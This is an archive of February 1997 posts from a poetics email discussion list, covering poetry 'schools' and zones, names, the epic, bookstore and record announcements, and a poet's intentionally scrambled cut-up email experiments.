Rasula has his finger on something important, however. In my own work-in-progress on the poetic field (for an abstract, see "http://www.duke.edu/~kellogg/sri.html"), I conceive these zones as abstractions, POLES OF VALUE within the contemporary construction of poetic practice. (This work is obviously indebted to Pierre Bourdieu in ways that I don't have time to explain right now.) What Rasula identifies as the MFA school corresponds more or less to a poetry predicated on uncomplicated representations of Self. Against this obviously is the poetry of social conflict, community building, identity politics, etc. Call the struggle between these two poles the horizontal (social) axis of the poetic field. Appeal to one or another of these sources of value has little to do with form as such. What I call the formal, or "vertical" axis of the poetic field comprises both NF and LP, but without naming them. While the New Formalism is fading fast, the appeal to "tradition" still operates within a lot of contemporary poetry, even language poetry as it becomes canonically interesting. (I am speaking sociologically; I don't mean "interesting" as an evaluative comment.) Against the appeal to "tradition" one could place an appeal to "innovation." So that the contemporary poetic field looks more or less like this:

```
                TRADITION
        ---------------------------------------
        |                                     |
```

```
      |                          |
SELF  |       [the poetic field]       |  COMMUNITY
      |                          |
      |                          |
      -------------------------------------
                 INNOVATION
```

It seems to me that this kind of a model is more flexible than a model which operates in terms of "zones" or "schools." As New Formalism fades, the appeal to tradition is still operative. As language poetry becomes (to paraphrase Ron Silliman) more of a moment than a movement, other possibilities begin to inhabit the arena close to innovation. Obviously much language poetry would still be placed close to the "innovation" pole, but individual poets' work could be read at various places within the field. Moreover, poets might _move_, or be moved, as the vicissitudes of canonization affect perception and reading. (Charles Bernstein's work seems a lot more "traditional" now -- what with various historical accounts of language poetry by Beach, Perelman, etc., and what with the recovery of Stein and Zukofsky, and _The Tennis Court Oath_ for a broader audience in various critical accounts -- than he did in, say, 1980. Also, Bernstein's own criticism has helped create the traditional context for his work.) One could also place individual poems, "schools" (Iowa, Brown, Buffalo), and institutions at various points within the field.

Well, whaddaya think? Does this account via poles of value escape some of the problematics of the zone/school?

Cheers,
David
~~~
~~~

In case anyone's interested in how the avant-garde is faring around the political Web, there's an article on Gertrude Stein as a Republican in the latest issue of SLATE, Bill Gates's vanity press. Slate is at "http://www.slate.com/".

Cheers,
David
~~~
~~~

5. _Little Men_ by Kevin Killian, Hard Press, $12. "Kevin Killian writes like a bent angel who wants to inflict pleasure and delection." --Robert Gluck

6. _The Gertrude Stein Awards in Innovative American Poetry: 1994-1995_ ed. Douglas Messerli, Sun & Moon, $14.95. As good or better than the last volume in this series. Too many names to list, you know a lot of them.

7. _Black Chant: Languages of African-American Postmodernism_ by Aldon Lynn Nielsen, Cambridge, $18.95. "Aldon Nielsen's knowledgeable, pathbreaking study brings long overdue attention to avant-garde work in African-American poetics during the post-World War II period. . ." --Nathaniel Mackey

8. _October 79: Guy Debord and the Internationale situationniste: A Special Issue_, Thomas F. McDonough ed., $10. Articles by Mc Donough, Clark and Nicholson-Smith, Gilman, Kaufman, interview with Henri Lefebvre on the Situationists by Kristin Ross, and "Situationist Texts on Visual Culture and Urbanism: A Selection." "We require adventure."

9. _Machine Art and Other Writings: The Lost Thought of the Italian Years_ by Ezra Pound, ed. Maria Luisa Ardizzone, Duke, $16.95. Previously unpublished and rare writings from the late 20s to the early 40s. "I am not sure that people understand even here how the mechanism works or wrecks to best advantage."

10. _The Lack (love poems, targets, flags . . .)_ by Rod Smith, Abacus #104, $4.

11._History or Messages from History_ by Gertrude Stein, Green Integer, $5.95. "They were quietly expectant but a little irritable."

Poetics folks receive free shipping on orders of more than $20. Free shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will bill you with the books. or 2. via credit card-- you may call us at [redacted] or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

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313. **Henry Gould**

Re: the future of an illusion

Mon 10 Feb 1997

Bravo, Mark. The "techne", as Wendy called it, is changing all the time, but techne is not the thing. I am reminded of Proust's musings (or his character's) at the end of _Recherche du Temps_ (c'mon folks, you can read that far too - follow me!). We are all immersed in a much deeper "techne" - Time itself and the desolations/voids/returns that Time brings. Proust's narrator declares that he

finds his writerly vocation and the creation of his gigantic Oeuvre in a particular effect of time: the sudden, unsought-for juxtaposition of an ordinary present sensation with a SIMILAR sensation (not the same, but similar, echoing) from the ancient past, which brings memory to life & restores the actual "feel" of time & existence. And that this perception is an aesthetic phenomenon: it's not ordinary life now or then, but the conjunction of the 2, a new amalgam; which he links overtly both to the workings of metaphor in poetry and to the workings of the thinking mind in general (finding similarities between disparate things). He talks about the aesthetes or "artists in embryo" as those who overvalue the art work per se and remain on the surface of OTHER's work, rather than immersing themselves in the realities of their own experience & making something new and fruitful. - Henry Gould

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314. Christopher Alexander
Re: Names are not Objects
Mon 10 Feb 1997

---

linda russo wrtes:
> i have an uncle yosh

you also have an uncle shiny & an uncle bougie.
not sure about the spelling.

my granny's name (mother's side) is mavis collins
was mavis hawin before marriage; her sister's first
& middle name are madeline rivers. I'm told that their
mother always chose names from the novel she
was reading at the time--not unlike the way some of
my poems are made. its probably just as well
that none of them knows what novel their name comes
from--they were probably terrible.

I used to have an aunt aida.

c.
..
christopher alexander, etc.
[redacted]
(Marriott Library Computer Systems)

"Philosophy is intellectual order, which neither religion nor common sense can be. It is to be observed that religion & common sense do not coincide either, but that religion is an element of fragmented common sense. Moreover common sense is a collective noun, like religion: there is not just one common sense, for

that too is a product of history & a part of the historical process. Philosophy is criticism & the superseding of religion & 'common sense'. In this sense it coincides with 'good' as opposed to 'common' sense."

Gramsci

↑ Index

315. Christopher Alexander
Re: poetry "schools"
Mon 10 Feb 1997

---

forrest gander wrote:
> At the same time, of course, I too want to see more representation in
> bookstores. Representation comes through distribution.

as would I. but all of this, of course, assumes that bookstores *want* to represent the poetry that falls into whatever categories you (anyone) choose(s)--something I'd like to believe but--. if poetry sections are, as they are, increasingly small & usually written off as a loss even when they focus on the writers showcased by 'mainstream' literary publications, well--.

of course much of this has to do with us & our buying habits--a topic that's been discussed here before.

> *Even the notion of supporting publishing houses seems less constrictive than that of supporting "schools."*

it's a possibility that hadn't occurred to me, but it does seem like it might be a worthwhile thing--to represent smaller presses by turns rather than try to carve poetry into recognizable sections [flank, head, buttocks]. after all, once the books are on the shelves of most bookstores, theyre arranged alphabetically anyway.

chris
..
christopher alexander, etc.
[redacted]

(Marriott Library Computer Systems)

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316. henry g
email query (Baratier)
Mon 10 Feb 1997

Dave Baratier, are a you listenin? Otherwise - could some please BACKCHANNEL his email address to me? Thanks - [redacted]

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317. **amato**
Re: the future of an illusion
Mon 10 Feb 1997

---

i've got to agree with mark wallace's last post on must-ing in poetry...

the problem, or controversy, stems from those who are feeling persistently neglected in specific circles... and what to do about such neglect, assuming for a moment that it's *real*...

which goes to the question of "schools" of poetry... i think joseph lease is quite correct in pointing to the fluidity of zones... marketing zones, not aesthetic zones -- as wendy battin indicates... but we all know, right?, how distribution, publication, marketing can back-pressure aesthetics... and in some crucial aspects, these zones are not esp. fluid...

to take but one example: until andrew levy's appearance here at iit, where i teach, in 1992 (which coincided with my arrival as well), no undergrad. at iit had been exposed to much if anything in the way of contemporary poetry for a good long time... certainly nothing that would constitute zones 3 or 4 of rasula's analysis, and certainly nothing from these zones could even have seeped in accidentally, not to say, programmatically, things here were that stuffy... and things at K-12 are undoubtedly stuffier... of course we don't have any english majors here at iit any longer (had about a half-dozen then maybe)... but the point is that i don't gauge the pertinence of "schools" with whether they correspond to mfa programs -- that is, "schools of poetry" do not necessarily correlate with "grad. schools of poetry" (many of which i suspect are gradually getting the picture, if only in retrospect, and many of which seem to me to be set up to house perhaps two competing "camps," if that)... one would still have to contend with the status of "craft" in creative writing classrooms in general, and how this is supported by and supports most popularly renowned writing and writing venues (and note that the upcoming u of denver conference is constructed in a crucial way around this notion of "craft" -- i'll be speaking there to this question by addressing "craft" in somewhat unorthodox terms)...

anyway... of course the aesthetic reality is much more diverse and messy than ANY notion of "zone" or "school" might suggest... but the problem -- if there's a problem here, and i think there is--- has primarily to do with how zones and schools play out in the marketplace, in our institutions... which, again, is why i make the case that, whatever the requisite autonomy or solitude of a writer's art, once that art enters into the social world, a somewhat different perspective is necessary to understand what's going on in practical terms... that is, unless one is willing to hallucinate about the social sphere, i think one MUST accept

this---ergo something like the paradox that mark unpacks, but here a function of critical position as opposed to aesthetic production... it may be that this is the proviso lurking in the difference between such practices...

best,

joe

↑ Index

318. **DS**
Re: Names are not Objects
Mon 10 Feb 1997

I just say as in fish. (Don't know why people always laugh)

Dan Salmon

> *whenever anyone has difficulty spelling my name, I point at my chin and say "mnemonic device".*

↑ Index

319. **DS**
Re: Bandit Queen
Mon 10 Feb 1997

There is a particularly reprehensible
>scene in the film "Strange Days" where a rapist wears a device which
>allows him to experience the emotions of whomever he hooks it up to. He
>proceeds to enter a woman's apartment, sedate her with a taser, rape
>and strangle her while experienceing her own experience of this
>vicariously. The whole scene is shot from his perspective, and is
>relentlessly, nauseatingly vicious-- I think
>you could even see the outline of his facemask around the edges of the
>frame. In essence, the viewer is forced to assume the viewpoint of
>the rapist--to BECOME the rapist, and
>either to accept tacitly the act, or, short of leaving the movie, fight
>against this positioning, which I did by looking away. The scene is
>completely unsympathetic to the woman and clearly pruriently sadistic in its
>intention.

I largely agree, but have to wonder whether it is perhaps a good thing that 'we' as audience had to turn away. At least for once we were shocked and horrified by a cinema rape.

And Strange Days, one of the few by a woman.

Dan

↑ Index

320. Alan Jen Sondheim
Re: Names are not Objects
Mon 10 Feb 1997

Jennifer named me "Alan" after "Alwyn" supposed Welsh heritage.

Alan (Jennifer)

↑ Index

321. Charles Alexander
Re: ero-text
Mon 10 Feb 1997

Miekal -- this is a Meow Press publication. You should be able to contact Meow at [redacted]

charles

At 11:58 AM 2/8/97 +0100, you wrote:
>While at Maria Professorina's house amid her massive library (including
>piles of books by many people on this list) I came a cross a hot little
>erotic collaboration between Bob Harrison & Dodie Bellamy. Titillating
>at least, Id like to see if there was a way of getting ahold of it,
>(title & publisher have slipped my mind, but Ive retained some of the
>graphic text, no surprise!). In particular Id like to see if I could
>trade a copy of Lyx's & my 1982 collaboration EROTIC LOGIC, which is
>similar in spirit tho perhaps more languagey.
>
>have safe eroticatalia,
>
>mr miekal
>
>

↑ Index

322. Sylvester Pollet
Re: the future of an illusion
Mon 10 Feb 1997

I'll throw this into the mix--it's a quote from Matthew Sweney, who's been working with Petr Mikes at Votobia Publishers in the Czech Republic:

"Poetry [in the C.R.] doesn't sell now because it's no longer controversial. Everyone was writing and buying poetry before because it was illegal, a sort of rebellious act, but now that Socialism is gone, poetry has lost its attraction. People watch Schwarzenegger videos on their new VCRs instead."

↑ Index

323. Matthias Regan

Reper-mim ail car ges (in 2 parts)

Mon 10 Feb 1997

> *This is automated*

message

response

>Thanks for time to write. taking
for We have established informal usage
of the public

switched teleph one network

Internet access and information
servic e

providers.

this subject
>your input. This mailbox

> We appreciateis th
point of contact f

> *cominformal e-mailments on you do not need*

send copies of you
this proceeding, so

in the future!

("Philosophy is intellectual
this proceeding, soeither religion nothis proceeding, sor
common sense
s to be observed that religion
& common
sense do not coin
>either, but that religcide ion is an element

of fragmented common .

Moreover common
sense
sense is common a collective noun, like :
there is not just one oo is a pro-tory & a parreligiont of the hist
>proceoricalss. Philosophy is

& the superseding of religion & 'common
. In this

sense it coincidesense's with 'good'

as opposed to 'common'.)

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

324. **charssmith**
Re: Amiri Baraka
Mon 10 Feb 1997

Did anyone in the aBay Area catch baraka when he recently performed at Koncepts w/ Charles Mingus' grandson?

↑ Index

325. **charssmith**
Re: for db: initializing, establishing, and authentication
Mon 10 Feb 1997

In a message dated 97-02-06 18:05:41 EST, you write:

<< Authentication. To do with computer security ---- is Mr. DB at the end of the line really Mr. DB, or some other sinister influence? How would the system know? How would we ever know? The protocol for authentication usually involves exchange of protected/encrypted data, such as passwords. >>

Does David know? What's your password David?

Are you sure it's *yours*?

↑ Index

326. **Matthias Regan**

Remin e charge: per-mail (Part III)

Mon 10 Feb 1997

Dear C.

What I'm suggesting is a sort of e-mail exquisite corpse. I've seen as I expect you have those ones some websites have tried to initiate, and they are IMO by and large godawful. They operate like normal e-corpses, with each person adding on to what was. But I would suggest that this wordprocessing technology is geared to delete, not add, and so that aspect of the technology should be employed as well: namely, the proper e-corpse would involve each person both adding text and deleting the pre-existent text. We would have to develop a technique by which a certain portion of the "message" could be changed everytime, but some ever-growing part of it could not be changed. My reasoning for this being that if changes could always be made to the entire text, then the movement toward a settled and monologic voice would be more likely than if, as in the paper corpses, some part had to be left untouched every time. I just sent you a rewriting of your message to poetics using my new technique (new for me) that works only on a computer: working quickly through a piece of text with the cursor, cutting and pasting, but never adding and only occasionally deleting. (I deleting too much in my last one.) I originally tried this on paper a couple years ago by cutting up articles from NY times stories and than rearranging them. I like working with an obviously limited vocabularly since we all do anyway.

I still have not finished your long and eloquent messages to me. I am impressed with your research. I will send some responses when I can. Do you want me to send you that paperback book thing?

I just recieved an e-mail from Jenny M. She is a full professor at the city college she was working at before and makes an annual salary and seems fairly committed for the time being and quite happy. She is continually biking and preparing for the next AIDS ride next summer. Perhaps you knew all this!

love,

M (onday)

"Automated Response"

>This is an automated response
to the message Bravo,

The "techne", [illegible], is changing time,
but techne is not the thing. I usings (or his [illegible] at the end (c'mon folks, you can read

We are all immersed in a much deeper
"techne" -

Timeam reminded of Proust's m itself

desolations/voids/returns [illegible] that Time brings.

Proust's narrator

he finds

his writerly

and the

creation [illegible] a SIMILAR sensation (not the same, but similar,

from the [illegible]
ancient past, wechoing) brings memof his gigantic Oeuvof
in a particular effect of time:

unsought-for juxtarethe [illegible]
sudden,position of an ordinary present sensation
withory tthat far too [illegible] - follow me!). o life

the [illegible]
sudden, existence. And that far too - follow me!).

that this perception is an aesthetic
phenomenon: it's not ordinary

life now or then, but the [illegible]
sudden,the conjr taking time [illegible] write.

We have established. information

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

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327. Douglas
Re: Seeing Eye Books
Mon 10 Feb 1997

Dear Friends,

I'm happy to tell you of the wonderful new
publishing venture by Guy Bennett, Sun & Moon
Press's typographer and (often) translator.

Guy is beginning his own venture (while re-
maining at Sun & Moon) called Seeing Eye Books

Seeing Eye Books is pleased to announce a new
chapbook series dedicated to contemporary American
international poetry. Four titles will be published
each year, including original work by both new
and established writers as well as translators.
In 1997 we feature the poetry of Lyn Hejinian,
Mohammed Dib (Grand Prix de la Francophonie de
l'Académie Francaise, 1994), Joe Ross, and
Catriona Strang.
This series is available BY SUBSCRIPTION ONLY.
for $25.00 made out to Guy Bennett, 12011 Rochester
Avenue #9, Los Angeles, CA 90025. Please indicate
a shipping address if different than that on the check;
the cost of shipping is included. You will receive
the first book in March 1997, the others will follow
at three month intervals.

Please remember, this series is by subscription only.

Douglas Messerli

↑ Index

328. Matthias Regan
Apology! (Read me before you read the other messages from Matthias Regan!)
Mon 10 Feb 1997

Dear List: Sorry for the two previous messages (titled: "Reper-mim ail car ges (in 2 parts)" and "Remin e charge: per-mail (Part III)") from me which were intended for a member of the list, not for the entire list!

Its ok if you read them (as though there were a choice!) but I think you won't be so interested in what certain subjects of the message are up to as C. and I would be.

Sorry for the confusion, chaos, etc!

Matthias

Matthias Regan
Northwestern University
Department of Chemistry
Phone: 847/[redacted]

↑ Index

329. Sylvester Pollet
Message ("The distribution of your message dated Mon, 10...")
Mon 10 Feb 1997

Charles/Loss, is it time to raise the bridge? Or lower the bridge? What's the limit to the 21st Century? What's the price of a Buffalo nickel?

> *Date: Mon, 10 Feb 1997 15:25:43 -0500*
> *From: "L-Soft list server at University at Buffalo (1.8c)"*
> *<[redacted]>*
> *Subject: Message ("The distribution of your message dated Mon, 10...")*
> *To: [redacted]*
>
> *The distribution of your message dated Mon, 10 Feb 1997 15:29:56 -0500 with subject "Re: the future of an illusion" has been postponed because the daily message limit for the POETICS list (50) has been exceeded. No action is required from you; your message will be reprocessed automatically once the list owner releases the list.*

↑ Index

330. Mark Prejsnar
Re: Provoking the stretch
Mon 10 Feb 1997

Tom Beard (& others): the original LangPo label (in all its permutations: language writing etc.) was really initially a tactic, used by a loose group, to call attention to certain things...It's still useful, in reference to that group. Nobody's gonna come along & forcibly conscript you into the language army!

Mark P.
Atlanta

↑ Index

331. **Mark Roberts**

AWOL: OVERLAND 145 (fwd)

Mon 10 Feb 1997

>Date: Tue, 11 Feb 1997 06:39:52 +1000
>To: [redacted]
>From: [redacted] (AWOL)
>Subject: AWOL: OVERLAND 145
>
>OVERLAND 145 is available now from the AWOL Virtual Bookshop.
>
>Poetry by Bruce Dawe, john malone, Marguerite Varday, Emma Lew, Michael
>Crane, Libby Robin, Phil Ilton, Clive Faust, Graham Rowlands, Jean Thorton
>& Kieran Carrol. Anthony Weare on Port Arthur, Brian Matthews on the
>Millennium, Julie Lewis on Mary Martin's Bookshop. Plus fiction, the usual
>high quality OVERLAND reviews and much much more.
>
>If your favourite bookshop does not stock OVERLAND tell them to contact
>AWOL and order you a copy. Or order it yourself through AWOL's Virtual
>Bookshop. Simply hit the return button on your email program (if you
>received this post through Auslit or another list make sure you send the
post to
>[redacted] and not back to the list). We will send you an invoice
>for $8 plus $1 postage. You mail your payment to AWOL, together with your
>postal address and OVERLAND could be in your mailbox within a few days.
>
>And don't forget to visit our website and check out the other magazines
>available through our Virtual Bookshop.
>
>
>
>
>AWOL
>Australian Writing On Line
>[redacted]
>http://www.ozemail.com.au/~awol
>PO Box 333 Concord NSW 2137 Australia
>Phone 61 2 7475667, Mobile 015063970
>Fax 61 2 7472802
>
>
>

>
Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Phone 93517710
Mobile 015063970
Fax (02) 9351 7711

↑ Index

332. **Joe Safdie**
Re: notley/epic
Mon 10 Feb 1997

Re:

"is that how you know when an epic's over?"

If an epic is a poem including history, then it's only over

(let alone "Do not move / let the wind speak / that is paradise")

when history is

and that ain't now, Francis

Has anyone read (by the way) Harold Bloom's new book _Omens of Millenium_? I found it a pretty good read, some valuable information on gnosticism, which isn't exactly "spirit possession," but close.

Joe

↑ Index

333. **Christopher Alexander**
Re: notley/epic
Mon 10 Feb 1997

> is that how you know when an epic's over?
I think its when they sailed off again or something.

no, no--its when we no longer have enough of
a cultural consensus to have one voice speaking
for us. funny, that's what I've always heard about
the epic genre, or anyway why we can no longer
have epic. but it sounds sort of silly to me now.
I mean--did the ancient greeks or the romans really

have that kind of social accord. unlikely. reminds me
of brecht talking with benjamin about socialist realism:
"if they write a poem without the word Stalin in it, its
taken as deliberate."

hmph. chris.
..
christopher alexander, etc.
[redacted]

(Marriott Library Computer Systems)

↑ Index

334. Pam Brown
(no subject)
Mon 10 Feb 1997

Hello Poets...
Can anyone help Damien Broderick in Australia with this query ?

I recently asked after the credentials of somebody I'm currently reviewing, and got back this interesting reply:

`My doctorate is from LeSalle University in Mandeville, LA. It is not a conventional doctorate, and I did not take three years of my life to attend a resident course of study. LeSalle is an extension university that is acredsited by the state of Lousiana. My doctorate is in Education Administration; my dissertation titled: "The Theory of Multiple Intelligences: Understanding Diversity in Education." I did not simply buy my degree--believe it or not, I had to work for it. I apologize if I sould a bit synical, I don't mean to be.'

Alta Vista didn't help. Anyone know if this is an arm of the Bob Jones Center for Advanced Creation Studies or the Pizza Hut University, or is it a rooly truly degree joint like all of us synical people went to?

Feel free to email me direct rather than bother the list any further...

Damien

Dr Damien Broderick / Associate, Dept. English and Cultural Studies
University of Melbourne, Parkville 3052, AUSTRALIA
@: [redacted]
bio/biblio: http://www.vicnet.net.au/~ozlit/broderic.html

Can you email him directly please.
Thanks Pam Brown

↑ Index

335. **Wendy Battin**
Re: Rasula and poetry zones
Mon 10 Feb 1997

On Mon, 10 Feb 1997, David Kellogg wrote:
> What Rasula identifies as the MFA
> school corresponds more or less to a poetry predicated on uncomplicated
> representations of Self. Against this obviously is the poetry of social
> conflict, community building, identity politics, etc.

David, could you say what's "obvious" about this? I'd have thought there were other alternatives to "uncomplicated representations of Self" (complicated ones? nonrepresentational ones? zen observation?) that don't partake very directly of identity politics.

Wendy

↑ Index

336. **maria damon**
Re: Names are not Objects
Mon 10 Feb 1997

In message <[redacted]> UB Poetics discussion group writes:
> this is Elizabeth Was here making my first (official?) appearance on
> this list, ...

hi lyx. you missed an exciting show last wednesday (one grad student referred to it as "electrifying"; a faculty member's words were "way hot!"), but i'm sure you've seen it before.

give me some feedback.

on yr name(s)? sounds like fun to me. I like lyx ish, but why is it more jewish than lyx was?

what more secrets shall i tell the lot of you?
anything you want.

ah, no more, there are personas of mine i'm afraid you'll never appelle.

oh you tease! and furthermore, how do you know? another coupla posts and you may be dying to tell us something you could never have predicted wanting to share with us. we're a fun bunch, not to be underestimated.

xo, md

↑ Index

337. Herb Levy
Suspended Music (shameless plug)
Mon 10 Feb 1997

This is a little longer than most of these announcements run, but I thought the non-poetic content might need some context. Hope to see some of you at the CD release parties:

Announcing the release of the first CD on my new label Periplum, Suspended Music - Deep Listening Band & Long String Instrument, presenting first recordings of new music for these combined ensembles, composed by Pauline Oliveros and Ellen Fullman.

Some of you may be familiar with Deep Listening Band (a collaborative ensemble with Pauline Oliveros, Stuart Dempster, and David Gamper) from their recordings made in unusual acoustic spaces, including a cistern on the Olympic Peninsula with 45 seconds of natural reverberation. Some of you may be familiar with other, earlier projects by Oliveros and/or Dempster, who have a long history of new music activities together and separately.

Fewer folks are probably familiar with Ellen Fullman and her Long String Instrument. Since the mid-1980s, Fullman has been refining this instrument and composing music for it. The current incarnation of the instrument is a little less than 100 feet long, with several courses of piano wire (between 60-80 strings in all) strung about waist-high. It's played by walking along the strings and rubbing them longitudinally, rather than plucking or bowing the strings across their length. It sounds great, and not like anything you've ever heard before.

I'm making a special introductory offer to members of this e-mail discussion list: until March 1st, the semi-official release date of Suspended Music, you can order the CD for US$15 including tax & shipping from:

Periplum
P O Box 95678
Seattle, WA 98145

It'll be about $16-17 in stores (& it will be in stores eventually, now that the disc is in hand, I'm spending the next month or so trying to find distribution. There's nothing like SPD for new music, so this is a real adventure).

E-mail responses are welcome, but PLEASE respond back channel, rather than to the whole list.

The CD will also be available on line from Deep Listening Catalog:

<http://www.deeplistening.org/dlc>

(They have other recordings, scores, etc. available there as well.)

&, hey, if you want to help celebrate the release of the CD, choose from one of these four new release parties:

February 22, 1997 4-7 pm

The Candy Factory
1513 Manor Road
Austin, TX

March 10, 1997 4-7 pm

Speakeasy Cafe
2314 2nd Avenue
Seattle, WA 98121

March 14, 1997 5-7 pm

The Gallery at Deep Listening Space
74 Broadway
Kingston, NY 12401

March 15, 1997 4-7 pm

Roulette
228 West Broadway, 2nd Floor
New York, NY 10013

Herb Levy
[redacted]

↑ Index

338. KYLE CONNER/LRC-CAHS
Re: Provoking the stretch
Mon 10 Feb 1997

---

on Feb. 7 Miekal And wrote: "so maybe my point isnt to question all the categories that have been carved out but to wonder out loud if all of us bright, creative, fuzzy people cant continuously invent ways to interact with the corpus of literature that defy, detourne, confuse & interbreed the will to commodify genre consciousness."

Miekal, I'm curious to hear more about this. I understand what you propose here, but wouldn't it work against the dissemination (through major marketers, at least) of work because of resistance to genre-labelling that same marketers (and consumers?) demand? i.e, would grunge music be near as big if not for the commercialization and mass identification/appeal of the term "grunge" (I guess your investment in my example depends on your opinion as to the importance & enriching of the world by grunge music- grunge-enriched? is that a soil

type?) Then again, maybe this wouldn't have been a bad thing. It would have saved us from all the rip-off bands and allowed the true/original music to continue without being exploited. But then again, if something's good, shouldn't it (deserve to) be exposed to as many people as possible? I really like your idea in theory, Miekal, but it seems to get murky when you apply to real (market) situation. Maybe I've become too jaded to believe that something as huge as the literary corpus can be detourned or interbreeded. Why do we have to play with them anyway? Ideally, we'd all be selfless poets who could be happy enriching the lives of our immediate community-those we know and care about, our town/city- and this interbreeding and networking would eventually intervine its way through the whole world-- or would it?--spreading the fruits of our hard work and hard-won humanity to people of all plces and cultures? is that what we want anyway? would the whole world be better or not without the mass production of Frost, and, hence, Frost? Do we have to sacrifice global communing/ication of poetry/culture for a closely networked community of readers and creators? What does the poet want as opposed to what the market wants and should the poet care? I've reached the end of my moebius trip...Maybe Charles Bernstein could step in and reiterate his idea in_a poetics_ about poetic communities learning how to communicate amongst themselves before they begin communicating interculturally? (The computer seems to play into this somehow...)

Kyle Conner

↑ Index

339. George Bowering
Re: Clothes Make the Man
Tue 11 Feb 1997

Herb Levy (often seen on 5th and Seneca in Seattle in jodhpurs) reminded me of a trip I took to NYC in 1970, to hear Pharoah Sanders at Slugs's Bar. I thought I would just wear my regular clothes, so I wd appear hip and not get mugged. So I wore

a toque (Canadian for knitted cap)
a shirt made of some viscous material in green and black stripes
a maroon sweater knitted by my mother
a serge cape once worn by a City Of Westminster police constable
yellow jeans
logging boots
big knitted red socks
electricians gloves (you know, stripes of grey, red and blue
long stringy hair

a moustache
dark glasses
a cheapo cigar with a plastic tip

I didnt get mugged. Not even an offer. Not even in front of Peace Eye Books.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

340. IMBURGIA
Re: new Adorno, Bernstein, Killian, Nielsen etc. @ B St
Tue 11 Feb 1997

YES, i want, no, i am compelled to buy the boundary 2 V.23 #3, and, = hmmm... need something for $8 to get that free shipping, how about "soft = subversions" by guattari. send em out quick as damn skippy and i will = pay if costs more. thanks,=20

dan imburgia
2416 sanctuary lane
langley wash. 98260

More of what's new at Bridge Street. Ordering instructions at the end of = the
list.

1. _Aesthetic Theory_ by Theodor W. Adorno, newly translated by Robert Hullot-Kentor, U Minnesota, $39.95.
Woop, de it is. "That old and silly cabaret phrase, 'Love, it's so = erotic'
provokes the variation: 'Art, it's so aesthetic': this is to be taken = with
deep seriousness as a momento of what has been repressed by its = consumption."

2. _Boundary 2 V. 23 #3_ featuring "Charles Bernstein: A Dossier," Duke, = $12. 70 pages from Mr B: "Selected Poetry," "An Autobiographical Interview" conducted by Loss Glazier, a conversation "On Poetry, Language, and Teaching," & those fabulous "Experiments." Lots else here from others including

Retamar's "The Enormity of Cuba," & new translations of Ho Chi = Minh by Steve Bradbury. Get your dossier while it's hot.

3. _Electronic Civil Disobedience and Other Unpopular Ideas_, Critical = Art Ensemble, Autonomedia New Autonomy Series, $8. "While the US may have = some pockets of what could be called community, such a social phenomenon is extremely limited. As with public space it must be asked: What = community!?"

4. _Soft Subversions_ by Felix Guattari, Semiotext(e) Foreign Agents = Series,
$8. "Destiny is not inscribed in an infrastructure."

5. _Little Men_ by Kevin Killian, Hard Press, $12. "Kevin Killian writes = like a bent angel who wants to inflict pleasure and delection." --Robert = Gluck

6. _The Gertrude Stein Awards in Innovative American Poetry: 1994-1995_ = ed.
Douglas Messerli, Sun & Moon, $14.95. As good or better than the last = volume
in this series. Too many names to list, you know a lot of them.

7. _Black Chant: Languages of African-American Postmodernism_ by Aldon = Lynn Nielsen, Cambridge, $18.95. "Aldon Nielsen's knowledgeable, pathbreaking study brings long overdue attention to avant-garde work in African-American poetics during the post-World War II period. . ." --Nathaniel Mackey

8. _October 79: Guy Debord and the Internationale situationniste: A = Special Issue_, Thomas F. McDonough ed., $10. Articles by Mc Donough, Clark and Nicholson-Smith, Gilman, Kaufman, interview with Henri Lefebvre on the Situationists by Kristin Ross, and "Situationist Texts on Visual Culture = and Urbanism: A Selection." "We require adventure."

9. _Machine Art and Other Writings: The Lost Thought of the Italian = Years_ by
Ezra Pound, ed. Maria Luisa Ardizzone, Duke, $16.95. Previously = unpublished
and rare writings from the late 20s to the early 40s. "I am not sure = that
people understand even here how the mechanism works or wrecks to best advantage."

10. _The Lack (love poems, targets, flags . . .)_ by Rod Smith, Abacus = #104,
$4.

11._History or Messages from History_ by Gertrude Stein, Green Integer, $5.95. "They were quietly expectant but a little irritable."

Poetics folks receive free shipping on orders of more than $20. Free = shipping + 10% discount on orders of more than $30. There are two ways to order. 1. E-mail your order to [redacted] with your address & we will = bill you with the books. or 2. via credit card-- you may call us at 202 965 = 5200 or e-mail [redacted] w/ yr add, order, & card # & we will send a receipt with the books. We must charge some shipping for orders out of = the US.

Bridge Street Books, 2814 Pennsylvania Ave NW, Wahsington, DC 20007.

AAAAx88=

↑ Index

341. KENT JOHNSON
NOISE news #2 (fwd)
Tue 11 Feb 1997

Thought I'd forward this to list. Sondheim (tho I know nothing at all about him/her) is involved in creating all kinds of interesting stuff on the Fiction of Philosophy list. Kent

------- Forwarded Message Follows -------

Date sent: Tue, 11 Feb 1997 13:34:55 -0500
Send reply to: FOP-L <[redacted]>
From: Alan Jen Sondheim <[redacted]>
Subject: NOISE news #2 (fwd)
Originally to: Cyb <[redacted]>
To: Multiple recipients of list FOP-L <[redacted]>

```
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@@@@ @@@  @@@@@@@@@  @@@  @@@@@@@@
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"The bit of noise, the small random element, transforms
one system or one order into another."

You may remember that all perforations 'issues' are now ongoing sites of activity.

New additions include:

in P12--
*Severed Head / Great Skull Zero
*Fractured Mirrors / A. Sondheim
*ART ORIENTE objet (AOo): biotechnology in the gallery / J. Nechvatal

in p11--
*The Learning Curve/D. Cole

!!!

He thought in terms of one of his favorite--let's call it Foucaultian--stories of the Victorians, being collectors generally and plant fanciers especially, bringing in tons of orchids around the turn of the century. Not knowing all of their requirements but thinking: orchids--> tropics---> hot-----> monus ponens, bony marony, good for plants! Especially when they flowered profusely in their hothouses (ie, greenhouse), stoked to the max, the plants trying desperately to reproduce themselves (and the victorians thinking Ahh! Success! Flowers!) --- before they died en mass in due course, all orchids in fact not having the same requirements. A form of 'reproductive confessional' if you will. Perhaps you catch my drift, genetic and otherwise.

